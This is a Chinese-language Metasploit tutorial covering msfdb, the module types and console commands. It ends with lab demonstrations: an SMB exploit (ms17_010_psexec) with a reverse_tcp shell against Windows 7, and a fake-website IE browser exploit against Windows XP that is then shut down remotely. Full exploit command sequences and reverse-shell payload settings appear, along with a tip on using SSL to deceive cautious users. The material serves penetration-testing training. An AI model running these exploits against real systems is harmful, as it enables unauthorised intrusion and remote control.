MSF基本使用和expolit模組介紹
MSF基本介紹
目前最流行、最強大、最具擴充套件性的滲透測試平臺軟體
2003年由HDMore釋出第一版,2007年用ruby語言重寫,MSF預設整合在KaliLinux之中
Kali左側有MSF的快捷方式,可以直接點選使用,也可以在終端輸入msfconsole啟動MSF
msfdb
用來管理MSF的資料庫的命令
msfdb init # start and initialize the database msfdb reinit # delete and reinitialize the database msfdb delete # delete database and stop usingit msfdb start # start the database msfdb stop # stop the database msfdb status # check service status msfdb run # start the database and run msfconsole
MSF架構-技術功能模組
MSF預設存放模組的目錄:/usr/share/metasploit-framework/modules/
MSF有6個模組,分別對上面目錄下的6個子資料夾:
auxiliary
負責執行資訊收集、掃描、嗅探、指紋識別、口令猜測和Dos攻擊等功能的輔助模組
exploits
利用系統漏洞進行攻擊的動作,此模組對應每一個具體漏洞的攻擊方法(主動、被動)
payloads
成功exploit之後,真正在目標系統執行的程式碼或指令。分為3種類型的payload,分別是single、stages和stagers。shellcode是特殊的payload,用於拿shell。
-
- single:all-in-one。完整的payload,這些payload都是一體化的,不需要依賴外部的庫和包。
- stagers:目標計算機記憶體有限時,先傳輸一個較小的payload用於建立連線
- stages:利用stagers建立的連線下載後續payload
encoders
對payload進行加密,躲避AntiVirus檢查的模組
nops
提高payload穩定性及維持大小。在滲透攻擊構造惡意資料緩衝區時,常常要在真正要執行的Shellcode之前新增一段空指令區, 這樣當觸發滲透攻擊後跳轉執行ShellCode時,有一個較大的安全著陸區,從而避免受到記憶體 地址隨機化、返回地址計算偏差等原因造成的ShellCode執行失敗,提高滲透攻擊的可靠性。
post
後期滲透模組。在取得目標系統遠端控制權後,進行一系列的後滲透攻擊動作,如獲取敏感資訊、跳板攻擊等操作 。
基本使用
Kali中更新MSF :apt update aptinstallmetasploit-framework
msfconsole
控制檯命令支援TAB補全,支援外部命令的執行(系統命令)
- help或?:
- 顯示msfconsole可以使用的命令。help <command>,顯示某一命令的用法。
- connect:
- 可以理解成MSF中的nc命令,可以使用connect -h檢視詳細用法。
- connect [options] <host> <port>
- show:
- 用show命令檢視msf提供的資源。在根目錄下執行的話,由於有些模組資源比較多,需要執行show命令要較長的時間
- show exploits:檢視可以使用的exploit
- 除了exploits,還支援all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options。有些選項需要用use使用一個模組後才能使用,比如給showtargets。
- search:
- 搜尋模組
- 簡單搜尋:seachms17_010
- 多條件搜尋縮小範圍:search name:mysql type:exploit platform:linux
- info:
- 檢視模組的資訊
- info <module name>
- 如果用use使用了一個模組,直接輸入info即可檢視
- use:
- search找到模組後,用use使用模組
- use exploit/windows/smb/ms08_067_netapi
- 用use使用一個模組後,可以使用 show options檢視我們需要配置的選項、使用showtargets選擇目標主機系統、使用showpayloads選擇payload、使用showadvanced檢視高階引數、使用showevasion檢視用來做混淆、逃避的模組。
- set/setg:
- 設定引數,比如要滲透的主機IP、payload等。我們可以用show missing檢視沒有設定的引數
- setg是設定全域性變數,避免每個模組都要輸入相同的引數
- unset/unsetg:
- 取消設定引數。unsetg是取消設定的全域性變數
- save:
- 設定的引數在下一次啟動的時候不會生效,可以用save儲存我們使用過程的設定。
- check:
- 檢查目標是否真的存在這個漏洞,大部分模組沒有check功能
- back:
-
- 回到msfconsole根目錄
- run或exploit:
- 開始使用模組
- exploit -j:以後臺的方式執行
- sessions:
- 檢視當前已經建立的sessions,說明已經拿到了shell
- sessions -i id 可以進入一個session互動
- load/unload:
- 呼叫外部的掃描命令,比如openvas
-
- loadpath:
- 載入自己的模組
- route:
- 新增一條路由。比如發往某個子網的流量都通過攻陷的機器傳送。
msf資料庫相關
db_status:
-
- 檢視MSF有沒有連線上後臺資料庫。如果沒有連上資料庫,在終端輸入msfdb start後再啟動MSF。沒有連線上資料庫MSF也是可以使用的,只是連線上了的話,我們滲透過程中獲取的一些資訊可以儲存下來,比如目標機器的賬號密碼資訊等。
db_rebuild_cache:
-
- 這個命令將所有模組資訊快取到資料庫中,通過資料庫檢索效率就高很多了。
db_disconnect:
-
- 斷開資料庫連線。
db_connect:
-
- msf預設連上postgresql的msf資料庫。可以用db_connect連線我們指定的資料庫。如果要使用配置檔案進行連線,預設的資料庫配置檔案為/usr/share/metasploit-framework/config/database.yml,可以參考這個檔案進行編寫。
db_nmap:
-
- 整合在msf中的namp掃描命令。不同的是db_nmap掃描的結果會自動儲存到資料庫中。
- 可以輸入hosts檢視掃描到的主機資訊
- 如果資料多,可以用 hosts IP 進行過濾;hosts -u 檢視up狀態的機器;使用 hosts -c 列名[,列名] 指定要看的列;使用 hosts -S 進行搜尋,比如hosts -S windows。
- 輸入services可以檢視主機開放的埠情況
creds:
-
- 檢視掃描出來的密碼資訊
vulns:
-
- 檢視掃描出來的漏洞資訊
loot:
-
- 有些賬號密碼我們可能沒有獲取到明文資訊,可是經過加密的hash值,可以用這個顯示
db_export/db_import:
-
- 資料庫的匯入和匯出
- db_export -f /root/msfbak.xml
- nmap匯出的也可以匯入到msf中
- nmap -A 192.168.1.113 -oX nmap.xml => db_import -f /root/nmap.xml
Exploit模組
分為Active Exploit和Passive Exploit
Active Exploit
目標提供了某種服務,服務存在漏洞
-
- useexploit/windows/smb/ms17_010_psexec
- set RHOST 192.168.1.100
- set PAYLOAD windows/shell/reverse_tcp
- set LHOST 192.168.1.1
- set LPORT 4444
- set SMBUSER user1
- set SMBPASS pass1
- exploit
Passive Exploit
被攻擊者通常不開放埠或開放埠上的服務沒有漏洞,漏洞存在於受害者機器上的客戶端軟體上。客戶端需要訪問某些遠端伺服器上的服務,當它訪問的時候,當在伺服器上放置了漏洞利用程式碼,由於客戶端程式存在漏洞,伺服器也會將這些漏洞利用程式碼作為響應報文返回給客戶端,造成客戶端漏洞被利用。
-
- useexploit/windows/browser/ms07_017_ani_loadimage_chunksize
- setURIPATH /
- set PAYLOADwindows/shell/reverse_tcp
- set LHOST 192.168.1.1
- set PORT 4444
- exploit
Active Exploit演示
實驗機器
-
- 受害者:Windows 7 旗艦版 6.1.7601 Service Pack 1 Build 7601,關閉Windows7防火牆。IP地址為192.168.171.133
- 攻擊者:Kali 4.18.0。IP地址為192.168.171.129
Kali上啟動MSF,可以先啟動postgresql資料庫,防止後面MSF連不上資料庫
service postgresql start
我們利用exploit/windows/smb/ms17_010_psexec進行攻擊,由於它是基於SMB協議的,我們需要知道目標系統的一個使用者賬號和密碼,適合在已經知道目標系統賬號密碼並開放SMB埠的情況下進行攻擊。
然後設定受害者的IP地址,賬號和密碼,並設定payload為windows/shell/reverse_tcp。這是一個反彈連線,我們還需要設定目標反彈連線時的IP地址和埠。
然後輸入exploit執行,可以看到已經建立了一個session
通過session -l可以檢視已經建立的會話
根據上面的Id,我們可以sessions -i 1進入這個shell
檢視一下目標的機器IP
可以看到上面有很多亂碼,在Kali的終端中,我們可以設定shell中字元的編碼
這時候就不會是亂碼了
Passive Exploit演示
實驗機器
-
- 受害者:Windows XPSP2 professional。IP地址為192.168.171.135
- 攻擊者:Kali 4.18.0。IP地址為192.168.171.129
開啟XP的防火牆
這時候用Active的方式進行攻擊不會成功,採用Passive方式,構造一個連結,誘使被害者連線,利用瀏覽器的漏洞。
我們要偽造一個網站,誘使受害者攻擊。SRVHOST可以指定為本機的IP地址,我們也可以開啟SSL和設定SSL的證書,迷惑有安全意識的使用者。
URIPATH是訪問的URL地址,可以手動指定,比如192.168.171.129/service,這裡我們預設設定為根目錄即可。
然後輸入exploit
它不會主動向受害者的機器傳送利用程式碼,而是偽造了一個存在漏洞利用程式碼的WEB站點,這個站點等待IE版本存在漏洞的使用者去訪問它,將exploit注入到瀏覽器程序中,利用瀏覽器漏洞執行payload
我們在XP機器上用IE瀏覽器訪問這個URL
輸入以下命令讓XP機器關機
shutdown -s -f -t 0
在XP上就會看到機器正在關機
總結
對開放的伺服器一般使用Active的方式,對客戶端程式的攻擊一般使用Passive的方式